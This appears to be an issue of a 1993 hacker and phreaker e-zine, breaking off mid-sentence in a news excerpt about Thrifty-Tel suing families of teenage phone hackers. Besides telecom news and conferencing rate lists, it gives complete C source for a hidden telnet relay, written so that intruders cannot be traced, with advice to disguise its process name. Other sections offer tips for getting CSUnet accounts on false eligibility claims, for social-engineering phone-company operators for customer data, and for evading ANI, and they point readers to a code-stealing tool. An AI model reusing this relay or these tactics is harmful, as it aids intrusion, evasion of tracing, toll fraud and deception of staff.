AT&T: AT&T has it all and more, too. It is the largest long distance carrier, telecom manufacturer and has an option to control the largest cellular carrier, McCaw. I'll bet AT&T is currently modifying its 4 and 5 ESS's to come up with a super AIN/PCS/cellular/cable TV switching network. If they focus on AIN/PCS they, too will be uniquely positioned. Also, you can expect to see AT&T protecting its intelligent network patents in 1993 (I know I said that before.) and you can't get into AIN without violating their string of patents if they stand up to tests in the courts. After the advent of 800 number portability, AT&T will have dropped a lot of monopoly baggage, so stay tuned. Finally, there's one thing that will be facing all three major IXCs -- numbers. Once numbering issues are resolved (See TeleStrategies Insight, December 1992) and PCS spectrum is freed up, the industry will be ready to integrate PCS technology with AIN. In summary regarding AIN, 1993 should be spent molding AIN as PCS. If you don't have that focus, forget it. You will lose. 10. ISDN Since our first and last conference on ISDN in December, 1986, TeleStrategies has consistently pegged this service as a loser. So no annual assessment of winners and losers would be complete without a discussion of ISDN. The only thing wrong with our categorizing ISDN as a loser is that CO switch manufacturers have made a bundle using ISDN hype to sell switches and software upgrades. Also, exhibit-based trade show producers have made a bundle from renting floor space to the RBOCs for their giant booths. (To these vendors, ISDN means I See Dollars Now.) OK -- for the thousandth time -- why is ISDN a loser? It provides no near-term customer benefits. Sure, it's elegant and there are market niches such as digital networking to Europe, DoD encrypted voice, etc. But there is no "silver bullet" application to justify the cost. Residential users or small business users can expect to invest thousands of dollars to start up with ISDN (if they have to start from scratch, i.e., they don't already own a $10,000 high-end workstation). And what could you get today with ISDN? Nothing! To these folks, ISDN means It Still Does Nothing or It Sends Data Nowhere. Regarding big business, private T-1 networks is where the action is today and ATM/SONET will be the focus of 1993 planning. Again ISDN makes no sense in this environment of intra-company data. Regarding inter-company data applications, the only significant market today is Internet access, and again (See #1 -- ATM/SONET) users expect "free" service. So if you want to spend three years or more of your career waiting for something to happen in ISDN, you've found a winner. Otherwise, ISDN is a loser. All of us at TeleStrategies wish you and yours a happy, healthy and prosperous 1993. Get out there and pick or stay with a winner! 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For a FREE subscription and/or a current conference schedule, send an email to insight@telestrat.com or call TeleStrategies at (703-734-7050). -- Peter Decker - Communication Networks, RWTH Aachen (University), Kopernikusstr. 16, D-5100 Aachen, Germany e-mail - dec@dfv.rwth-aachen.de ,Telephone: +49-241-807916 (DG1KPD) Telefax: +49-241-84964 Broadband Unveils New System ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BroadBand Technologies Inc. announced what it says is a technology and cost breakthrough. It will enable phone companies to deliver 1,500 interactive video channels on demand at a cost to them of less than $500 per customer. That will give phone firms an advantage over the cable industry in the race to build a national information network, said Broad Band CEO Salim A.L. Bhatia. AT&T, UNITEL To Offer Service ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ AT&T and Unitel Communications Inc., will begin the controlled introduction of an advanced virtual network service for multinational customers in the USA and Canada during the third quarter. The AT&T Software Defined Network to Canada service will offer uniform voice and data telecommunications across the border, as well as within the two countries. Minn. Majority Leader Resigns ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Minnesota State Rep. Alan Welle has resigned as House majority leader after his son and nephew left taxpayers with a phone bill that could reach $85,000. He said he knew they had swiped his 800-number for over a year but wanted to protect them. Windows To Go With TV ~~~~~~~~~~~~~~~~~~~~~ Windows, the best-selling personal-computer software from Microsoft, could soon be playing on a TV screens everywhere. Microsoft, Intel and General Instrument, the nation's largest supplier of cable television converters, are close to signing a deal to build a converter box that basically turns TV sets into personal computers. They should be ready by the end of the year. System Uses 386 Chip ~~~~~~~~~~~~~~~~~~~~ New cable TV converters will contain Windows and Intel's 386 microprocessor chip. They use windows, which let people operate computers by manipulating on-screen symbols with a cursor-control device called a mouse. They will let a cable subscriber point a wireless mouse at one of several symbols on the TV screen and select a function such as movies, shop at home and computer games. MCI's Phone Is Cheaper ~~~~~~~~~~~~~~~~~~~~~~ The MCI Videophone will cost $750, almost $250 less than its chief rival, the AT&T Videophone 2500. And MCI is offering consumers who buy its Videophone a 5-percent discount on the purchase of a second videophone, a savings of $37.50. Systems Aren't Compatible ~~~~~~~~~~~~~~~~~~~~~~~~~ Both the AT&T and MCI Videophones transmit color pictures that show limited motion while allowing callers and listeners to interact simultaneously. The video technology used in the MCI version is not compatible with AT&T's product, although you can still carry on a normal telephone conversation using the two competing brands. Videophone May Be Hard To Find ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Another drawback with the MCI Videophone is availability. Jim Folk, vice president of MCI's Videophone division, said the company has no immediate plans to make its product available in any retail outlets. "We haven't found an agreement that is attractive enough," said Folk. "We think our phone is attractively priced and that people who want a Videophone will make the right choice." MA Bell Busted ~~~~~~~~~~~~~~ Recently, Ma Bell (more specifically PacBell) was fined $65 million for fraudulently charging customers for late bills. Apparently they would process the sent bill late and would charge the customer late fees if it happened to be after the billing date (even if the bill was sent and received before this date). In repayment fines they must refund and divide the fine amung its fraudulently billed customers. (--------------------------------------------------------) Code Thief v5.1 by White Lightning (--------------------------------------------------------) Does the file name, THIEF5_1.ZIP, look familiar to you? If it does, don't be taken by it. It is a feeble hack ATTEMPT of Code Thief v4.0, which was originally written by Phortune 500. This is claimed to be written by Xanadu Systems. Bullshit. Any k-rad 3l33t d00d can hex-edit an EXE file. Below, is the ACTUAL screen you get when you quit the Code Thief v5.1 program. For those who would like a copy, you can get it off of IRC via HackSrv, the rest of you, look on your k-rad H/P boardz.. ------------------------------------------------------------------------------- Code Thief DELUXE By Xanadu Systems Code Thief Revision 5.1 An Official Xanadu Product Xanadu Systems, 221b, and The Organization: Kane, Sventek, Chris Knight, Ramius, Cracker Jax, Wiseguy, Dr. Watson, Tinman, L.A., HAl9000, and all the rest.... Call Xanadu International Services 6 0 8 - 8 3 6 - 1 4 5 8 Type JOSHUA at the # prompt Get A Reply From Xanadu systems In Most Cases Within Twenty Four Hours - Thanks goes out to- Terminus, 2AF, Peter King, Code Thief 1.x,2.x,3.0 Releases The True Hackers Who Have Become Rare ------------------------------------------------------------------------------- Ok, read that carefully. I especially like the line about, "- Thanks goes out to-" It looks like they couldn't get a nice string to fit in that exact spot when they hex'ed it. They could have at least spelled everything correctly. This program does NOTHING new. All it is, is 4.0, with different strings. READ THE LAST LINE OF THEIR SCREEN. "The True Hackers Who Have Become Rare" They should speak. It requires a lot of time and patience to create a program like Code Thief, and they go in, hex it, and have "Their" program within 15 minutes. Ha. My messages to Xanadu Systems Hex-Editors: - First of all learn how to spell. Next, learn proper English. Third, learn - how to fucking program your own code. Show me something that YOU create, - and we'll see how good you guys are. (--------------------------------------------------------) Audioconferencing Services by Arkimage/Chaos (--------------------------------------------------------) Key: M = Meet-Me available. O = Operator intervention on meet-me. G = Audio-graphics bridging. T = Tape of conference available. C = Call-out capability. Supplier/Product/Price M O G T C Special Features/Reservation Number ------------------------|-|-|-|-|-|--------------------------------------------- American Tele- Conferencing Svcs. Ltd. Teleconferencing Srvc. X X X X X Variety of conference call service levels to $10 to $20/hour/port fit clients' needs and budget. Custom srvc (Voice & Data) for press conferences, investor relation calls, audio for video conferences. Speakerphones and microphones available for rent/purchase. Reservations 800-776-0700. AT&T Alliance Teleconference X X X X Dialup audio service on 700-456-1000; dialup $.25/min./port + toll graphics on 700-456-2000. Reservations and $35 one-time for meetme Meet-Me operator assistance 800-544-6363. Operator-Assisted X AT&T now handles most operator-assisted $9/port + toll conference calls that were formerly from local BOCs. Reservations 800-225-0233. Bell Canada/Telecom Can. TeleForum X X Call-out is handled by customer interaction Rate levels vary with with the bridge. Service available as meet- member companies. me, dial-out, or a combination. Operator- handled calling service also available. Call 613-781-7942 for more information. Call Points Call Points X X X X X Volume discounts are available on rates. $.32/min./port call-out Uses Ropir Industries bridges. Reservations $.20/min./port meet-me 800-255-5661. The Campus Group Company Audio Conferencing X X X X X Will ship equipment overnight to conference Service sites; provides on-site support, conference coordination services. Call 914-961-1900 for more information. ConferTech Canada, Inc. ConferCall X X X X X Services in Toronto, Montreal. $.38/min./port (V&D) Call 416-622-8200 for more information. ConferTech International ConferCall X X X X X Bridges are the ConferTech Tempo MBX and $.38/min./port (V&D) Allegro; purchase credit option available. Reservations 800-252-5150 or 303-232-2822. Call for service locations. Connex International Inc Teleconferencing Serv. X X X X X 24-hour service; free speakerphone check; $20/hour/port/voice round-table discussions at customer request. $12/hour/port/data Operator online for any assistance needed; specialized training; free phone consulting; customer assistance lines. Reservations call 800-243-9430 or 203-797-9060. Darome Teleconferencing The Darome Connection X X X X X Operator on-line for any assistance needed; $21/hour/port/voice specialized training. Nine US locations; two Data quoted separately international. Call Darome for the nearest location at 312-380-4109. DeraCom DeraCom Conf. Service X X X X X 24 hours/day, 7 days/week service. Houses $15/hour/port oper asst ALLIANCE bridges. Conferences on demand or $20/hour/port meet-me by reservation. Conferences billed by fraction of a minute; no cancellation charge Billed by number of ports connceted, not number reserved. Blast up available. Reservations 800-835-2663 in North America, 609-896-8185 overseas. Also has 800 Meet-me. Local BOCs Operator-Assisted conf. Not all BOCs offer this service. See listing calls under AT&T. Person-to-person rates Logical Communications Teleconferencing Netwk X X X X X Reservations 800-422-0016. Market Navigation Inc. Teleconference Network X X X X Price breaks at various conference sizes; $12/hour/port overrun charge. Uses Ropir Industries AXIS bridge. Reserv 800-835-6338 or 914-365-0123. MCI MCI Forum X X X X $.75 in Canada. Plus a one-time charge of Base fee $6/location, $35 per 800 number. Volume discounts avail. $.35/min./loc dial-out Operator assistance is available at any time $.45/min./loc peraonsl by pressing 0. Reservations 800-475-4700, or 800 meet-me 800-782-1300 (Fax). Prefered Communications Customized Conference X X X X X 800 Dial-in includes toll. Access to variety Calling of bridging techniques to meet customers' $.42/min./loc dial-out needs; operator monitored on request, no $.42/min./loc 800 extra fee. On-demand and standing reservs; dial-in 24-hour service. Specializes in last-minute $.25/min./loc meet-me conference calls. Telephone consultation free of charge. Reservations 800-225-5487. Southern New England Tel SNET Conference Calling X X X X X Access to 270-port, highly interactive, full $.65/min./port dial-out duplex bridging service to facilitate $.40/min./port meet-me transmission of voice and data for business $.65/min./port 800 meet or residential customers. No set-up fee or Combinations of above hidden charges. Reservations 800-448-2557. available. Sprint Conferencing Sprint Conference Line X X X X X Full-featured audioconferencing service $3/caller + $.24/min. offering domestic and international dial-in, dial-in, $3/caller + dial-out, and combination capability. $.44/min. dial-out or Conference Fax is also available for 800 dial-in service distributing information to participants. Reservations 800-366-2663. Additional Company's by CHA0S ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following are some additional conferencing company's of which information has not yet been gathered on : Compunetix Conference Call 1-800-967-4633 A Business Conference Call 1-800-448-9410 Access Conference Call Service 1-800-777-1826 Conference Call Service 1-800-272-5663 Darome Conference Calling Services 1-800-327-6639 LDB International Corporation 1-800-848-4851 A Noble Inc 1-800-433-5583 ACT 1-800-228-3719 Centerpoint Communications 503-222-4656 Conference Call USA 503-223-0055 Conference Plus International 1-800-522-3377 Protecom 912-471-1177 Actel 912-929-5317 Conference Card [Related to MCI?] 1-800-475-5200 InterCall 1-800-374-2440 Scherers Communications 1-800-356-6161 Schneider Communications 1-800-236-0036 (--------------------------------------------------------) Telnet Gateway by Chaos (--------------------------------------------------------) Ever worry about some egotistical sysadmin getting pissed off when you hack his system, and having him trace it back to your local system? If you are like most hackers, even if you are careful and telnet through another system first, it is still fairly easy to trace back through. Using the following program bellow you can make it a real bitch for anyone to find where you are coming from, let alone what account. This program, which has only been tested on Sun OS, will allocate a port and set up a telnet gateway. Because this program only allocates a socket, in order for someone to trace it back to you, the sysadmin of the system it is set up on would have to monitor the socket and see where the connection is coming from, which is not very likely, the sysadmin already has plenty to do. This is setup currently to port 6969 and will run in the background. Be sure to call it something that will not gather any suspicion from anyone running ps -aux. This will also write to the file log, the date and time anyone uses the telnet gateway. Have phun! Thanks go out to al- for the original source code. --------------------cut here-------------------- #include #include #include #include #include #include #include #include #include #include #include #include FILE *errfd; static int serfd; struct sockaddr_in addr; char buffer[10][80]; int sockused[10]; int numports = 10; int numproc=0; died() { numproc--; wait3(NULL,WNOHANG,NULL); signal(SIGCLD,died); return; } init_io() { signal(SIGCLD,died); if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 ) return(1); addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = 6969; if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr))) { fprintf(errfd,"ioinit cannot bind socket\n"); exit(1); } if (listen(serfd,5) == -1) { fprintf(errfd,"ioinit cannot listen at socket\n"); return(1); } return(0); } getconnect() { int s,length; struct sockaddr_in address; while(1) { length= sizeof addr; while ((s= accept(serfd,&address,&length))<0); wait3(NULL,WNOHANG,NULL); if (fork() == 0) /* child */ { system("date >>log"); numproc++; dup2(s,0); dup2(s,1); dup2(s,2); close(s); system("exec telnet"); kill(getpid(),SIGKILL); close(0); close(1); close(2); exit; } /* end child */ close(s); wait3(NULL,WNOHANG,NULL); } } main() { int i; char temp[80],*term; int fd; for(i=0;i<36;i++) close(i); errfd=fopen("ERR","w"); if(errfd==NULL) return(-1); setsid(); if(fork()!=0) return(-1); init_io(); getconnect(); } --------------------cut here-------------------- (--------------------------------------------------------) Sprint Conference Line Info by Chaos (--------------------------------------------------------) It's Simple! Bring people together from all over the globe with Sprint Conference Line It's easy. You can set up a conference call for up to 200 locations by calling our toll-free reservation line. A Sprint Reservationalist will answer your questions and take the information needed to arrange your conference. And you don't even need to be a Sprint customer. Just dial 1-800-366-CONF(2663) [Gee how nice of them] to set up your reservation. It's flexible. You can add participants to the conference, fax documents, play pre-recorded audio tapes, break into smaller groups then rejoin the main conference if you wish, and have an audiotape recording made of the conference. You tell us what you need and we'll take care of the details. Four ways to conference DIAL-IN : Join the conference from any location just by dialing into a pre-assigned phone number at the meeting time. DIAL-OUT : At the designated meeting time, a Sprint Conference Coordinator calls all participants at their location to join the conference. SPRINT CONFERENCE LINE 800 : A toll-free 800 number allows participants to call from any location at the designated time. [Duh no shit?] COMBINATION CONFERENCE LINE : Create a mix of the three conference types. It's convenient. Arrage impromptu meetings or schedule regular meetings up to six months in advance. We'll even provide advance meeting notifications. It's cost effective. Using Spring Conference Line requires no start-up investments, no additional equipment or lines, no long- term conference contracts and no hidden costs. Call 1-800-366- CONF(2663) [Again? Maybe we should start counting] to find out just how economical your conference call meeting can be. It's powerful. Take advantage of one of the most powerful business tools...letting people communicate directly with each other. It's a sure way to increase productivity. Whether it's a sales group sprea across the natuon or a hundred clients around the globe, Sprint Conference Line can have a positive impact on your business. Service Rates [Like We Care :) ] Dial-Out Conferencing $.44/minute/location and $3.00/location Dial-In Conferencing $.24/minute/location and $3.00/location ($30 MAX) Dial-In 800 Conferencing $.44/minute/location and $3.00/location ($30 MAX) Combination Conferencing Each line is rated based on the type of service provided. Off-Peak (7 pm - 6 am CST based on start-time) Dial-Out Conferencing $.40/minute/location and $1.00/location Dial-In Conferencing $.20/minute/location (Per location fee waived) Dial-In 800 Conferencing $.40/minute/location (Per location fee waived) Combination Conferencing Each line is rated based on type of service provided. Standard Features Music On Hold [Classical Shit] No Charge* Roll Call No Charge* Coordinator On Demand No Charge* Full Time Conference Monitoring [NO!!] No Charge* Optional Features Conference Fax $1.00/page/location Conference Tape Recording $10.00/tape On-line Tape Playback $10.00/tape Duplicate Tape Recording $5.00/tape Advance Notification (Phone or Fax) $3.00/location Conference Participant List No Charge* Passsword Security No Charge* Sub Conferencing No Charge* (--------------------------------------------------------) A Business Conference-Call, Inc. by Chaos (--------------------------------------------------------) Service Rates Meet-Me Conference : Participants dial in to a preassigned number and out attendant connects them to your conference. $.25/minute/line plus $3.00 setup/line 800 Meet-Me Conference : Participants dial in to a preassigned 800 number and out attendant connects them to your conference. $.45/minute/line plus $3.00 setup/line Dial-Out Conference : Out attendant dials out to participants and connects them to your conference. $.25/minute/line plus $3.00 setup/line plus long distance charge * Setup charge applies only to first 6 lines. Long Distance Charges $.20 minute/line within the continental U.S. $.25 minute/line for Alaska and Hawaii $.65 minute/line for Canada * Standard rates for International calls Features * Automatic Level Control There's no need to strain to hear quiet voices or be surprised by loud ones. Automatic level control adjusts the volume of each speaker to a comfortable level. * Multi-Speaker Capability Business teleconferencing that sounds at natural as a face to face meeting. So conversational you may forget you are on the phone. * Immediate Speaker Detection In natural dialogue speakers must be able to join the conversation easily. Our new system acknowledges and includes a new speaker so fast you won't even notice it. * Network Noise Control Speech and noise are digitally separated. Background noise and echo are eliminated. This system reacts only to the speakers voice. The result is crisp and clear conversations. (--------------------------------------------------------) Access Internet in California via CSUnet by Chaos (--------------------------------------------------------) So you live in California, or you are simply looking for a telnet site on internet. CSUnet offers FTP, telnet, and mail services (along with a bunch of other worthless shit) to anyone who qualifies under the following : [1] California State University Profesor [2] CSU Student [3] California K-12 Student If you live in California, you probobaly qualify under this. The funny thing is, they do not verify this, although they probobaly would be curious if you told them you lived out of state. You ask, why would they have your address, well in order to get an account they must MAIL YOU your account name and password. Obtaining an account is very easy and only takes a minute. Follow this process. SWRL/Long Beach (310) 985-9540 Bakersfield (805) 664-0551 Chico (916) 894-3033 Dominguez Hills (310) 769-1892 Fresno (209) 278-7366 Fullerton (714) 526-0334 Hayward (510) 727-1841 Humboldt (707) 822-6205 Los Angeles (213) 225-6028 Mission Viejo (714) 364-9496 Northridge (818) 701-0478 Pomona (909) 595-3779 Sacramento (916) 737-0955 San Bernadino (909) 880-8833 San Diego (619) PRI-VATE * See Note San Francisco (415) 333-1077 San Jose (408) 924-1054 San Luis Obispo (805) 549-9721 San Marcos (619) PRI-VATE * See Note Sonoma (707) 664-8093 Stanislaus (209) 632-7522 Ventura (805) 643-6386 * Due to extensive use these numbers will not be published here. If you are in dire need of these numbers please let me know and I will consider it =). Note : All Dialups have a max baud rate of 9600. [1] Dial up a local dialup listed above. CSUNET SWRL Pad/xx, Port: Pxx fax: p(128,128),w(2,2),d(2400,2400) com Welcome to The California State University Network (CSUnet) SWRL Pxx Port xx Apr 6, 1993 10:30 Please enter CSUnet Access Core (return for default): ctp Connecting to SWRL33... SunOS UNIX (eis.calstate.edu) login: ctp [2] Select apply for an account from the menu. [3] Fill out application with a real mailing address in California in order to receive mail with your account and password. Commentary Due to extensive hack attempts at CSUnet, they have gone to this really lame menuing system. It restricts you to it, and no shell. Which really sucks, so I personally use this as a gateway and then telnet to another site with a shell, but hey, they are plenty of dialups and its a mailing address. (--------------------------------------------------------) Art of Phreaking I by Electronic Vampyre (--------------------------------------------------------) Preface: With my dealings with PiRaTeS nationally i have found many know little about phreaking. Furthermore, phreaking seems to be an arcane art few know and only the reveared elite know. Every PiRaTe knows the basic k-rad phreak stuff (c/na loops, ANI, COCOTs, etc.) and basic circumvention methods (boxes, c0dez, etc.) but most lack the hard core info of phreaking. PiRaTiNG encorperates all aspects of P.H.A.C.C.V. but the "P." seems to be replaced by a "C." for c0dez. This is intended to inform the uneducated, if you are already knowledged in the aspects of phreaking then skip this. Initially i will examine the procedures of dialing (both domestic and international) and the numbering plans for each. DOMESTIC DIALING ---------------- In the United States and Canada telephone numbers are based on a ten digit dialing code (better known as the network address or destination code), the break down of this code is as follows: - a 3 digit Number Plan Area (NPA) code (aka Area Code). This tells the switching equipment where to send the signal. - a 7 digit telephone number. This number consists of a 3 digit Central Office (CO) code, to further direct the signal, and a 4 digit station number. - all numbers consist of the following format: NPA Telephone Number --- ---------------- N*X NXX . XXXX N = a numerical digit with a value of 2-9 * = a numerical digit with a value of 0 or 1 X = a numerical digit with a single value (0-9) The NPA breaks into two types of numbers, Area Codes and Special Access Codes (SAC's). The area code represents an area within one state's boundaries and all the numbers within it. A list of area codes can be obtained from your trusty white pages. SAC's are found nationally and can be used from any telephone within the North American Numbering Plan. SAC's include the following: 510 - USA TWX services 610 - Canadian TWX services 700 - Specialized Telephone Company uses 710 - USA TWX 800 - Wide Area Telephone Services (WATS) 900 - Dial-it services 910 - USA TWX - TWX SAC's The SAC's of TWX (Telix ][) consist of the above numbers, these are owned and utilized primarily by Western Union. Each number is routed to a normal telephone number and will always respond with an answerback. The baud rate for these SAC's is 110. - 700 SAC The 700 SAC is used for speciality services. The 700 SAC is similar to that of the WATS and 900's for it encompasses normal dial-in calls. When generated the customer decides if the number is to be a toll (pay) call or charged to the generating customer. Examples of 700 SAC's: 1.700.555.4141 (toll free) - this allows the customer to check their long distance carrier. 1.700.456.1000 (toll) - AT&T Alliance number to initiate an immediate non-meet me conference. Others: AT&T Alliance toll meet me conferneces. AT&T Easy Reach - This is a new service that allows a customer to have all calls sent to the predetermined 700 to their present location phone number. These calls to the 700 number can be either free or toll depending on the type of service the customer requests. For more info call 1.800.222.0300. - 800 SAC This SAC is the favorite of most PiRaTeS for it allows for toll-free calls. Many c0dez, dialups, VMB cities, etc. are found within this domain. There are two type of WATS (800) services. Inward WATS (INWATS) - The inward dial wide area telecommunications service are most common and known. These are established in 6 service areas or BANDS. A level 6 band is available nationally with the exception of the originating state (usually there is another INWATS number for this area, better known as INTRASTATE WATS). Band 5 INWATS encorperates the 48 continental states. This continues until band 1 is reached; service is only included to the state and neighboring states. When dialed the INWATS number causes the CO to search for the companies first available line. It searches sequentially until an available port is found, if not then it returns a busy signal. Usually a minimum of 2 lines is required for an INWATS number (personal 800 numbers differ). Billing of an INWATS number is based on time spent on the number. * NOTE - The ANI when calling an INWATS can be cirvumvented by having your local TSPS operator dial the number for you. Outward WATS (OUTWATS) - These are 800's used by large companies for large, volume discount outward dialing. These are used primarily because these services are given with bulk-rate discounts. The DO NOT allow inward calls. Their format consists of: (800) *XX.XXXX * - numerical digit of 0 or 1 X - numerical digit of 0-9. The specific *XX identifies the type of services and calling zones. - 900 SAC This SAC allows for dial-it services. It has flat rate standardized costs. These are primarily used for voting, quiz calls, etc. Along with the above listed SAC's there are also others known as CO Codes. 555 - Directory Services 844 - Time \_ these are more commonly found in the 976 exchange 936 - Weather / TIME - 1.800.844.3434 WEATHER - 1.800.936.XXXX 950 - Extender Services 958 - Plant Test 959 - Plant Test 976 - Dial-it Services ANI and Ringback are considered special CO codes and vary from area to area. 950 --- This is a code given to large companies to allow for thier employees call toll-free from any location and all charges are billed to the company. Plant Test Numbers ------------------ ANI (Automatic Number Identification) - This tells you the number that you are calling from. This number is free and can be used from any phone within the network. This is intended for linemen to have access to the number they are dealing with when they clip into a line, etc. Ringback - This allows for you to make the phone you are at ring. This number is free when dialed within the network. This is intended for linemen to be able to test a phone's ringing capabilities and other related things. (This is the number every elementary child uses to make the pay phones ring.) X11 Codes --------- 011 - International Dialing Prefix 211 - Coin Refund Operator (in 6i9 this number also encorperates ANI) 411 - Local Directory Assistance 611 - Repair Services 811 - Business Offices 911 - Emergency 976 --- This is the dial-it services that allow the destination number to set the billing rate (via ccd's). This is primarily used by party lines, prono lines, and live interaction telephoning. * The following is a list of unpublished and unclaimed 3 digit prefixes and NPA numbers. The telephone company utilizes these for their own purposes and testing. Scan away and see what you can find. Area Numbers ---- ------- 200 201-10, 212-19, 227, 240-57 300 320-36, 360-89 400 391-419 500 600 635-55 700 769-81 800 820-44, 846-99 900 946-64 NON U.S. & CANADIAN DIALING --------------------------- With international dialing the world has been separated into 9 zones. To dial an international number the format must include: International Prefix + Country Code + National Number eg. 011 + XXX + XXX.XXXX In making a call the prefix of 011 can be swithed with the prefix of 01. The 011 number is used in International Direct Distance Dialing (IDDD) with the remaining will contact an operator for assistance. The country code is a number varying in size from 1-3 digits with the world numbering code as the initial number. For example: 1 - North America (USA & Canada) 2 - Africa 3 - Europe 4 - Europe 5 - Non US North America 6 - Australia 7 - U.S.S.R. 8 - Asia 9 - Asia * Note the country code of 87X is reserved for Maritime Mobile communications. 871 - Atlantic Ship Communications 872 - Pacific Ship Communications 873 - Indian Ocean Ship Communications All calls originating from the US & Canada are routed through "gateway" cities. These 4ess's are the International Swithching Centers (ISC's) for country code 1. Each ISC must convert the US signaling system of MU-255 to the international system of CCITT. 'Nuff Said 'bout the network. Let's continue into the world of phone system operators and simple office structure. In the NPA system of North America, every switching office is assigned an official name and class of operation. Depending on the duties performed each is assigned a numerical value from 1-5. Your local CO is usually a non-toll facility that performs simple routing tasks and is thus a class 5 end office. All long distance calls leave your CO and get routed to another non-class 5 toll office. In addition to the other class offices (1-4) there are also class 4x (called intermediate points) offices and Remote Switching Unit (RSU) offices (a 4x office with an unattended exchange encorperated with it). Class NAME ABBREVATION ----- ---- ----------- 1 Regional Center RC 2 Sectional Center SC 3 Primary Center PC 4 Toll Center TC 4P Toll Point TP 4X Intermediate Point IP 5 End Office EO R Remote Switching Unit RSU When a call is initiated from your house it is sent to your local CO (EO) where it is sent along to its destination. The CO tries to find the shortest path from itself and its destination end office. It initially tries inter-office trunk lines, but if none exist it searches for the next highest (usually a class 4 toll center of some sort) office. If that trunk line is busy or cannot be handled it is sent to another office or descends the office hierarchy (next highest office) until it reaches it destination. While end offices are in abundance the class 1 regional center (RC) is rare. These offices provide the foundation of the entire network. * NOTE - When directing the INWATS number through the TSPS operator the ANI for your call will produce a number with the prefix of your closest RC and the remainder of 0's. The network assumes that your call is from within the system and is circumvented. From 6i9 the ANI when dialed this way would read 7i4.000.0000. More information of the network is another phyle. This is just an overview to get you acquainted with the system. In everyone's phone experience (especially any phreak or hack's), it is inevitable that you will speak to an operator at one time or another. The following is a list of the more common operators and their abilities. TSPS Operator ------------- This is the standard "0" operator. Thier job is basically the host and general information giver of the network. They have the ability to connect you to most of the other facilities within the network and execute simple (if need be) for the customers. The TSPS (Traffic Service Position System) operator has immediate ANI and calll tracing abilities. They know when a call originates from a non-COCOT (Customer Owned Coin Operated Telephone) pay phone and can pull info up on the origin telephone owner. Be cautious when dealing with these people. [i've found the TSPS op. to be quite nice and easy to acquire info from; every op. i've spoken to using the social engineer technique of a student doing a report has been VERY helpful.] INWARD Operator --------------- This operator assists your local TSPS operator in making calls. They will never question a call within their service area. Usually a TSPS operator can direct dial and does not use an inward operator. [On occasion i've encountered an inward op., they are not too well informed and tend to be robot-like ("Number please... Thank you").] Directory Assistance -------------------- When you dial "information" or any of the name search identification numbers you speak with a directory assistance operator. They do not have automatic ANI nor would have access to immediate ANI from another location. At local levels an operator can obtain a number of a person or place but cannot give unlilsted numbers. They are basically an automated white pages. They cannot cross reference a number by address but can cross reference after an inquiry is made. [These op.'s know nothing and are not easily succeptable to social engineering.] CN/A Operators -------------- The CN/A (Customer Name and Address, now changed to location only in some areas) operator is an operator accustomed with dealing with other telephone company employees. The CN/A bureau is designed for linemen (or other telephone employees) to easily obtain simple information on a customer solely from their telephone number. These operators assume that you are an employee of the network and are quite liberal with information. Social engineering is quite easy and much useful information can be obtained on a person through the CN/A operator. [In some areas this number is listed in the telephone book, otherwise it can be obtained from most PiRaTeS.] Billing Operators ----------------- These are quite powerful operators. They have immediate access to the information and ANI of the telephone you are calling from. They usually begin with asking your name and calling number to verify if you are the billing person. Social engineering is possible if you are beige boxing, or if yo know all the information on the person paying the bill on the telephone you are using. They have the ability to perform any task on line maintenance etc. They are quite knowledgeable and are willing to assist. Conference Operators -------------------- This operator knows little and can do less. They perform one task and only one task. Other than getting information on the different types of conferences or establishing a conference they are a waste of time to talk to. Rogue Operators --------------- These operators are quite knowledgeable and powerful. Their duty is to roam the network and assist when needed (They are usually powerful supervisers, etc.). Because of their knowledge and experiences dealing with phreaks, etc. they are reluctant to give out information (also they are not on the line to talk, they are there because the operator they are filling in for is busy, etc.). Like most people they are succeptable to social engineering. Usually an operator is nice and helpful, if a problem arises with one be sure to get their operator number (or name) and ask to speak to their supervisor. The supervisor is quite helpful and will immediately rectify the situation. For further information on the network or you have more questions on the system contact your TSPS operator and request the number to the closest Research Department. Next time - Switching equipment, COCOTS, maybe more, maybe less. ELeCTRoNiC VaMPYRe '93 (--------------------------------------------------------) Thrifty Tel Inc. by Chaos (--------------------------------------------------------) * The following is an exert from the Times Advocate, Monday, * April 12, 1993, page B1 section 1. Jeffrey Cushing knew his teen-age son was a "computer-freek," [gee this guy sure did his research, would it not be PHreak with a PH?] spending hours hunched over a bedroom keyboard, playing games and tapping out messages to friends. It seemed like wholesome, high-tech fun - until Cushing was sued last April by a Garden Grove telephone company that accused his son of hacking into its long-distance lines. The tab: $80,000. "I was in shock," said Cushing, a 51 year- old advertising executive from Huntington Beach. "All of a sudden this guys knocks on the door at 9 p.m. and serves me with this humongous suit." The war against hackers who steal longdistance telephone time has left a trail of slackjawed parents throughout California. Hit with lawsuits, search warrants and demands for damages, many parents are gulping hard and paying the toll for telephone fraud. The practice isn't limited to Orange County, either. Recently, the parents of an Escondido boy caught hacking were ordered to pay $33,000 in damages by an Orange County judge. Although no record is kept, some industry analysts estimate that telephone fraud drains as much as $5 billion a year from companies nation wide. [From profit that they could have made, not acutal lost money, keep this in mind] "Fraud on the (telephone) network is still one of the most devastating thing to longdistance companies, especially the smaller ones," said Jim Smith, vice president of the 34-member California Association of Long Distance Telephone Companies. The culprits are juveniles, whose parents know little about computers and less about what their children are doing with them. At the forefront in pursuing the dial-tone desperados is Thrifty-Tel Inc. of Garden Grove, which in 1990 became the first telephone company to impose a tariff on hackers. The idea was copied by several other small phones companies in California, although Thrifty's tariff remains the highest at $2,880, per day, per line. As part of every settlement, Thrifty also confiscates the offending computer. "This is designed to spank'em hard. it can (financially) wipe out a family," said Dale L. herring, Thrifty's director of security. "I sympathize, to some extent, but why should our company absorb the loss? Giving their kids a computer and a modem is like giving them a loaded gun." Thrifty estimates its hacker losses at $22,000 a month. Over the past three years the company has recovered nearly $1 million and has nabbed 125 hackers - the vast majority of them juveniles. About 24 cases were prosecuted with nearly all the defendants pleading guilty. Early this month Thrifty busted a 10-member ring of teen-age hackers stretching from La Habra to Mission Viejo. Criminal charges are pending against one of the suspects, a 19-year-old Irvine man who is accused of having called Thrifty's computer system 6,435 times in 24 days. More than 1,000 calls came on Christmas. The bill for Thrifty: $75,000. For the novice, 